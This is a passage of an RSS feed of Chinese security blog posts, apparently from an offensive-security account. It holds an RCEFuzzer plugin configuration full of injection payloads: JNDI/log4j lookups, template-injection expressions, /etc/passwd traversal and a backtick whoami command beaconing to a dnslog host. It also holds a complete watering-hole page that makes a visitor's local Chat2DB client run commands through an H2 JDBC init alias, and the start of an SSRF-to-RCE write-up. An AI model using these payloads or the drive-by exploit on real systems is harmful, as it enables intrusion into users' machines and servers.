100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>使用技巧</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">需要有配套的dnslog：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><a href="https://admin.xxxx.com/logs?token=xxxxxx&amp;type=dns&amp;q=KEY" target="_blank">https://admin.xxxx.com/logs?token=xxxxxx&amp;type=dns&amp;q=KEY</a></span></p><p><span class="code-snippet_outer"><a href="https://admin.xxxx.com/logs?token=xxxxxx&amp;type=http&amp;q=KEY" target="_blank">https://admin.xxxx.com/logs?token=xxxxxx&amp;type=http&amp;q=KEY</a></span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">KEY 是占位符，不能改动 其他无所谓。</p><p style="text-wrap: wrap;">配置文件如下：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">###</span></p><p><span class="code-snippet_outer">#</span></p><p><span class="code-snippet_outer"># 配置说明:</span></p><p><span class="code-snippet_outer">#    <span class="code-snippet__number">1.</span>tweb的配置是必须要改的, 不改显示不了漏洞</span></p><p><span class="code-snippet_outer">#    <span class="code-snippet__number">2.</span>白名单的优先级是高于黑名单的</span></p><p><span class="code-snippet_outer">#    <span class="code-snippet__number">3.</span>所有配置都是可以动态改的, 不用重新加载插件</span></p><p><span class="code-snippet_outer"># 使用说明:</span></p><p><span class="code-snippet_outer"><span class="code-snippet__meta">#    https:<span class="code-snippet__comment">//www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk</span></span></span></p><p><span class="code-snippet_outer">##<span class="code-snippet__meta">#</span></span></p><p><span class="code-snippet_outer">config:</span></p><p><span class="code-snippet_outer">  version: |  # 插件版本</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__number">0.5</span></span></p><p><span class="code-snippet_outer">  twebdomain: | <span class="code-snippet__meta"># tweb 子域名配置</span></span></p><p><span class="code-snippet_outer">    xxx.xx.com</span></p><p><span class="code-snippet_outer">  twebapi: |  <span class="code-snippet__meta"># tweb api配置 其中KEY为展位符,在新旧版本的tweb均可在Profile页面找到</span></span></p><p><span class="code-snippet_outer">    https:<span class="code-snippet__comment">//admin.xxxx.com/logs?token=xxxxxx&amp;type=dns&amp;q=KEY</span></span></p><p><span class="code-snippet_outer">  timeout: |  # 扫描过程中的超时配置 非tweb请求超时设置 单位毫秒 <span class="code-snippet__number">60000</span>为<span class="code-snippet__number">60</span>秒</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__number">60000</span></span></p><p><span class="code-snippet_outer">  hostBlacklistReg: |  # 禁止扫描的域名列表</span></p><p><span class="code-snippet_outer">    (.+?)(gov\.cn|edu\.cn|tweb|google|gstatic)(.+?)</span></p><p><span class="code-snippet_outer">  extBlacklist: |  # 禁止扫描的后缀列表,这不是正则，本来想从passive-scan-client中抄代码的,结果发现他有bug...</span></p><p><span class="code-snippet_outer">    .js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico</span></p><p></p><p><span class="code-snippet_outer">jsonPollution:</span></p><p><span class="code-snippet_outer">  status:  <span class="code-snippet__meta">#on为开启 off为关闭</span></span></p><p><span class="code-snippet_outer">    on</span></p><p><span class="code-snippet_outer">  allin: | #替换整个json数据包</span></p><p><span class="code-snippet_outer">    {<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}</span></p><p><span class="code-snippet_outer">  value: | #仅污染json的键值 为了python eval那种情况考虑 不加双引号包裹的话污染结果类似{<span class="code-snippet__string">&#34;test&#34;</span>:__import__(<span class="code-snippet__string">&#39;os&#39;</span>)} {<span class="code-snippet__string">&#34;test&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;dtaa\&#34;:__import__(&#39;os&#39;)}&#34;</span>}</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;${jndi:ldap://dnslog/jsonkey}&#34;</span></span></p><p><span class="code-snippet_outer">    __import__(<span class="code-snippet__string">&#39;socket&#39;</span>).gethostbyaddr(<span class="code-snippet__string">&#39;dnslog&#39;</span>)</span></p><p></p><p><span class="code-snippet_outer">paramPollution:</span></p><p><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></p><p><span class="code-snippet_outer">    on</span></p><p><span class="code-snippet_outer">  exprs: | #为了兼容有回显的表达式注入/代码执行漏洞</span></p><p><span class="code-snippet_outer">    {{<span class="code-snippet__number">9527</span>*<span class="code-snippet__number">2333</span>}}|<span class="code-snippet__number">22226491</span></span></p><p><span class="code-snippet_outer">    ${T(java.lang.System).getenv()}|JAVA_HOME</span></p><p><span class="code-snippet_outer">    ${T+++++++(java.lang.System).getenv()}|JAVA_HOME</span></p><p><span class="code-snippet_outer">    {php}var_dump(md5(<span class="code-snippet__number">9527</span>));{/php}|<span class="code-snippet__number">52569</span>c045dc348f12dfc4c85000ad832</span></p><p><span class="code-snippet_outer">    {<span class="code-snippet__keyword">if</span>+var_dump(md5(<span class="code-snippet__number">9527</span>))}{/<span class="code-snippet__keyword">if</span>}|<span class="code-snippet__number">52569</span>c045dc348f12dfc4c85000ad832</span></p><p><span class="code-snippet_outer">    ../../../../../../../../../../../../../../../etc/passwd|root</span></p><p><span class="code-snippet_outer">  value: |</span></p><p><span class="code-snippet_outer">    dnslog</span></p><p><span class="code-snippet_outer">    ${jndi:ldap:<span class="code-snippet__comment">//paramPollution.dnslog/log4j}</span></span></p><p><span class="code-snippet_outer">    `whoami`.dnslog</span></p><p><span class="code-snippet_outer">    http:<span class="code-snippet__comment">//dnslog/</span></span></p><p><span class="code-snippet_outer">    ping+-nc+<span class="code-snippet__number">1</span>+dnslog</span></p><p></p><p><span class="code-snippet_outer">headerPollution:</span></p><p><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></p><p><span class="code-snippet_outer">    on</span></p><p><span class="code-snippet_outer">  allin: | #一次性污染除了url和host外的所有请求头</span></p><p><span class="code-snippet_outer">    ${jndi:dns:<span class="code-snippet__comment">//dnslog/456}</span></span></p><p><span class="code-snippet_outer">    ${jndi:ldap:<span class="code-snippet__comment">//dnslog/789}</span></span></p><p><span class="code-snippet_outer">  headers: | #添加的请求头如果原数据包有则追加原值污染 无则添加后再发包 竖线|为key和value的分隔符号。</span></p><p><span class="code-snippet_outer">    X-Forwarded-For|${jndi:dns:<span class="code-snippet__comment">//dnslog/456}</span></span></p><p><span class="code-snippet_outer">    X-Api-Version|${jndi:dns:<span class="code-snippet__comment">//dnslog/456}</span></span></p><p></p><p><span class="code-snippet_outer">ssrfPollution:</span></p><p><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></p><p><span class="code-snippet_outer">    on</span></p><p></p><p><span class="code-snippet_outer">responseMatch:</span></p><p><span class="code-snippet_outer">  status: <span class="code-snippet__meta">#on为开启 off为关闭</span></span></p><p><span class="code-snippet_outer">    off</span></p><p><span class="code-snippet_outer">  expr: | #添加的请求头如果原数据包有则覆盖原值污染 无则添加后再发包</span></p><p><span class="code-snippet_outer">    thinkphp:error</span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">参数污染中 exprs 部分的配置以<strong> | </strong>作为切割，区分请求和响应，用于回显漏洞的检测。tweb 处配置 dnslog 的子域名和 api 查询的 url 即可。</p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>06</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>写在最后</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">RCEFuzzer 在实践中直接或间接的为我贡献了几十个的 RCE ，不少系统通过点点就可轻易收割漏洞点，进而撕开口子，拿到代码，进一步审计得到更有价值的洞，是生产漏洞的重要一环，也希望能为各位贡献新的RCE！</p><p style="text-wrap: wrap;">最后的最后，特别要提的是 RCEFuzzer 中不少思路都来源于 c26root （即大 6 老师）的指点，大 6 老师才是真正的神，大 6 老师🐮🍺！</p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f5c3a675&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgu1P7VjSnhzy3meT9icgW6aibTXqHslAUKb5j0oU5HicricJkXkS6569KHq4swGauxoibjnDEhloQh4gw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484275">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=29473110&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484275%26idx%3D1%26sn%3D784ad28dbab932799bb6a62a5e8546a8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 25 Dec 2023 22:55:00 +0800</pubDate>
    </item>
    <item>
      <title>利用Chat2DB溯源攻击者</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484267&amp;idx=1&amp;sn=9f81297f5cb08cae0241dc2a4a099360</link>
      <description>利用Chat2DB功能特性溯源攻击者</description>
      <content:encoded><![CDATA[<p>
原创 <span>nobody</span> <span>2023-11-02 16:00</span> <span style="display: inline-block;">中国香港</span>
</p>

<p>利用Chat2DB功能特性溯源攻击者</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c30f2574&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjAybwlXMRWLOMfXp5tJe6j9Uicv3NrtDCjqqUDpwFXAd8cibYXEMCq5lb6Fg2yAaFbaG53szBhW33w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="letter-spacing: 0.034em;font-size: 20px;">关于工具</span></p><p>Chat2DB 是一款由阿里巴巴开源免费的多数据库客户端工具，支持 windows、mac 本地安装，也支持服务器端部署，web网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力，能够将自然语言转换为 SQL， 也可以将 SQL 转换为自然语言，可以给出研发人员 SQL 的优化建议，极大的提升人员的效率，是 AI 时代数据库研发人员的利器， 不懂 SQL 的运营或业务也可以轻松使用快速查询业务数据、生成报表的能力。</p><p><span style="font-size: 20px;">杜绝废话</span></p><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">水坑页面：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">html</span>&gt;</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">title</span>&gt;</span>chat2db<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">title</span>&gt;</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">meta</span> <span class="code-snippet__attr">charset</span>=<span class="code-snippet__string">&#34;utf-8&#34;</span> /&gt;</span></span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">script</span> <span class="code-snippet__attr">type</span>=<span class="code-snippet__string">&#34;text/javascript&#34;</span>&gt;</span></span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">async</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">checkEnv</span>() </span>{</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">const</span> url = <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2" target="_blank">http://127.0.0.1:10824/api/jdbc/driver/list?dbType=H2</a>&#39;</span>;</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> response = <span class="code-snippet__keyword">await</span> fetch(url);</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (response.ok) {</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">const</span> data = <span class="code-snippet__keyword">await</span> response.json();</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">const</span> driverConfigList = data.data.driverConfigList;</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__built_in">Array</span>.isArray(driverConfigList) &amp;&amp; driverConfigList.length &gt; <span class="code-snippet__number">0</span>) {</span></p><p><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></p><p><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></p><p><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></p><p><span class="code-snippet_outer">                }</span></p><p><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></p><p><span class="code-snippet_outer">            }</span></p><p><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (error) {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__built_in">console</span>.error(error);</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">async</span> <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">download</span>() </span>{</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">const</span> url = <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2" target="_blank">http://127.0.0.1:10824/api/jdbc/driver/download?dbType=H2</a>&#39;</span>;</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">const</span> response = <span class="code-snippet__keyword">await</span> fetch(url);</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (response.ok) {</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">const</span> data = <span class="code-snippet__keyword">await</span> response.json();</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">const</span> success = data.success;</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (success) {</span></p><p><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></p><p><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></p><p><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></p><p><span class="code-snippet_outer">                }</span></p><p><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></p><p><span class="code-snippet_outer">            }</span></p><p><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (error) {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__built_in">console</span>.error(error);</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></p><p><span class="code-snippet_outer">        }</span></p><p><span class="code-snippet_outer">    }</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">exploit</span>() </span>{</span></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">var</span> data = {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__attr">ssh</span>:</span></p><p><span class="code-snippet_outer">            {</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__attr">use</span>: <span class="code-snippet__literal">false</span>, <span class="code-snippet__attr">hostName</span>: <span class="code-snippet__string">&#34;&#34;</span>, <span class="code-snippet__attr">port</span>: <span class="code-snippet__string">&#34;22&#34;</span>, <span class="code-snippet__attr">userName</span>: <span class="code-snippet__string">&#34;&#34;</span>, <span class="code-snippet__attr">localPort</span>: <span class="code-snippet__string">&#34;&#34;</span>, <span class="code-snippet__attr">authenticationType</span>: <span class="code-snippet__string">&#34;password&#34;</span>, <span class="code-snippet__attr">password</span>: <span class="code-snippet__string">&#34;&#34;</span></span></p><p><span class="code-snippet_outer">            },</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__attr">driverConfig</span>:</span></p><p><span class="code-snippet_outer">            {</span></p><p><span class="code-snippet_outer">                <span class="code-snippet__attr">jdbcDriverClass</span>: <span class="code-snippet__string">&#34;org.h2.Driver&#34;</span></span></p><p><span class="code-snippet_outer">            },</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__attr">alias</span>: <span class="code-snippet__string">&#34;@localhost&#34;</span>, <span class="code-snippet__attr">environmentId</span>: <span class="code-snippet__number">1</span>, <span class="code-snippet__attr">host</span>: <span class="code-snippet__string">&#34;localhost&#34;</span>, <span class="code-snippet__attr">port</span>: <span class="code-snippet__string">&#34;9092&#34;</span>, <span class="code-snippet__attr">authenticationType</span>: <span class="code-snippet__string">&#34;1&#34;</span>, <span class="code-snippet__attr">user</span>: <span class="code-snippet__string">&#34;root&#34;</span>, <span class="code-snippet__attr">password</span>: <span class="code-snippet__string">&#34;123&#34;</span>, <span class="code-snippet__attr">database</span>: <span class="code-snippet__string">&#34;123&#34;</span>, <span class="code-snippet__attr">url</span>: <span class="code-snippet__string">&#34;jdbc:h2:mem:test;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;&#34;</span>, <span class="code-snippet__attr">extendInfo</span>: [{ <span class="code-snippet__attr">key</span>: <span class="code-snippet__string">&#34;init&#34;</span>, <span class="code-snippet__attr">value</span>: <span class="code-snippet__string">&#34;CREATE ALIAS IF NOT EXISTS vulcheck AS CONCAT(&#39;void e(String cmd) throws java.io.IOException{&#39;,&#39;java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}&#39;);CALL vulcheck(&#39;open -a Calculator&#39;);&#34;</span> }],</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__attr">connectionEnvType</span>: <span class="code-snippet__string">&#34;DAILY&#34;</span>, <span class="code-snippet__attr">type</span>: <span class="code-snippet__string">&#34;H2&#34;</span></span></p><p><span class="code-snippet_outer">        }</span></p><p></p><p><span class="code-snippet_outer">        <span class="code-snippet__keyword">var</span> xhr = <span class="code-snippet__keyword">new</span> XMLHttpRequest();</span></p><p><span class="code-snippet_outer">        xhr.open(<span class="code-snippet__string">&#39;POST&#39;</span>, <span class="code-snippet__string">&#39;<a href="http://127.0.0.1:10824/api/connection/datasource/pre_connect" target="_blank">http://127.0.0.1:10824/api/connection/datasource/pre_connect</a>&#39;</span>, <span class="code-snippet__literal">true</span>);</span></p><p><span class="code-snippet_outer">        xhr.setRequestHeader(<span class="code-snippet__string">&#34;Content-Type&#34;</span>, <span class="code-snippet__string">&#34;application/json; charset=utf-8&#34;</span>);</span></p><p><span class="code-snippet_outer">        xhr.send(<span class="code-snippet__built_in">JSON</span>.stringify(data));</span></p><p><span class="code-snippet_outer">    }</span></p><p></p><p><span class="code-snippet_outer">    checkEnv()</span></p><p><span class="code-snippet_outer">        .then(<span class="code-snippet__function"><span class="code-snippet__params">result</span> =&gt;</span> {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__built_in">console</span>.log(<span class="code-snippet__string">&#39;[+] env:&#39;</span>, result);</span></p><p><span class="code-snippet_outer">            exploit()</span></p><p><span class="code-snippet_outer">        })</span></p><p><span class="code-snippet_outer">        .catch(<span class="code-snippet__function"><span class="code-snippet__params">error</span> =&gt;</span> {</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__built_in">console</span>.error(<span class="code-snippet__string">&#39;[-] env:&#39;</span>, error);</span></p><p><span class="code-snippet_outer">            download()</span></p><p><span class="code-snippet_outer">                .then(<span class="code-snippet__function"><span class="code-snippet__params">result</span> =&gt;</span> {</span></p><p><span class="code-snippet_outer">                    <span class="code-snippet__built_in">console</span>.log(<span class="code-snippet__string">&#39;[+] download:&#39;</span>, result);</span></p><p><span class="code-snippet_outer">                    exploit()</span></p><p><span class="code-snippet_outer">                })</span></p><p><span class="code-snippet_outer">                .catch(<span class="code-snippet__function"><span class="code-snippet__params">error</span> =&gt;</span> {</span></p><p><span class="code-snippet_outer">                    <span class="code-snippet__built_in">console</span>.error(<span class="code-snippet__string">&#39;[-] download:&#39;</span>, error);</span></p><p><span class="code-snippet_outer">                });</span></p><p><span class="code-snippet_outer">        });</span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">script</span>&gt;</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">body</span>&gt;</span></span></p><p><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">h1</span>&gt;</span>chat2db<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">h1</span>&gt;</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">body</span>&gt;</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">html</span>&gt;</span></span></p></pre></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5472222222222223" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7b123346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjAybwlXMRWLOMfXp5tJe6jqjTyt2BOEqfsprgvSKq9aqNUqlLicsLV5cIEZSYFNz5U5Oichka2bZEA%2F640%3Fwx_fmt%3Djpeg"/></p><p><strong><span style="font-size: 20px;">安全建议</span></strong></p><p>1.作为客户端，web服务不应该不做鉴权还监听0.0.0.0，同内网环境下等于裸奔。</p><p>2.作为客户端，web服务应当禁止跨域调用，或可配置选项，不然用户访问的任意页面均有可操作客户端所有API，保存的账密之类的东西就等于是别人的,造成隐患。</p><p>3.作为服务端，这里特指提供给团队公用(多人公用)的情况应该做权限隔离，做执行环境隔离，避免因jdbc驱动上传功能，以及驱动本身安全问题导致的一系列安全问题。如果这个工具整体的定位就只是给个人使用，非团队工具的话，我认为<span style="letter-spacing: 0.578px;text-wrap: wrap;">整体做好鉴权即可，jdbc安全问题可忽略。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7b123346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjAybwlXMRWLOMfXp5tJe6jqjTyt2BOEqfsprgvSKq9aqNUqlLicsLV5cIEZSYFNz5U5Oichka2bZEA%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484267">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=32bf9edb&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484267%26idx%3D1%26sn%3D9f81297f5cb08cae0241dc2a4a099360">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Nov 2023 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>某安全产品鸡肋SSRF到RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484260&amp;idx=1&amp;sn=d55a38e18796e2d602eaa52dc5b2e91e</link>
      <description>21年挖的某安全产品的漏洞，现在回去看还是觉得蛮有意思的，整理重发一下，有空再写写某远OA部分版本的类似该洞的一个洞，也蛮有意思。</description>
      <content:encoded><![CDATA[<p>
原创 <span>bubi</span> <span>2023-08-30 20:40</span> <span style="display: inline-block;">澳大利亚</span>
</p>

<p>21年挖的某安全产品的漏洞，现在回去看还是觉得蛮有意思的，整理重发一下，有空再写写某远OA部分版本的类似该洞的一个洞，也蛮有意思。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6f0b6143&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjXicAkmZXswFWy9sMzhIPxfu9Dz3BibqwkSlXETCPlIMhwUibA8RbpOTcyUzicQsFy07GZP99PnAF0yg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="background-color: rgb(255, 255, 255);color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;">2</span><span style="background-color: rgb(255, 255, 255);color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;">1年</span><span style="background-color: rgb(255, 255, 255);color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;">挖的某安全产品的漏洞，现在回去看还是觉得蛮有意思的，整理重发一下，有空再写写某远OA部分版本的类似该洞的一个洞，也蛮有意思。</span></p><h3 style="line-height: 1.2;margin-top: 1em;margin-bottom: 16px;color: rgb(0, 0, 0);font-size: 1.5em;font-weight: 600;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">0x01 起</h3><p style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">系统有session秘钥硬编码的问题，自己生成cookie就可以登录，漏洞来到后台功能上。</p><div style="margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Segoe UI&#34;, Arial, freesans, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">该产品为了考虑到部署环境不出网的情况，升级功能做成了可配置自定义的升级服务器，检查升级后会触发向特定路由发送公钥，与升级逻辑做一些列的校验，从安全角度看这是只能发<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">POST</p>包，且<strong style="color: rgb(0, 0, 0);">路由和参数均不可控</strong>的鸡肋<p style="font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background-color: rgb(240, 240, 240);border-radius: 3px;padding-top: 0.2em;padding-bottom: 0.2em;font-size: 0.85em !important;">SSRF</p>。</div><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.27204502814258913" data-s="300,640" style="" 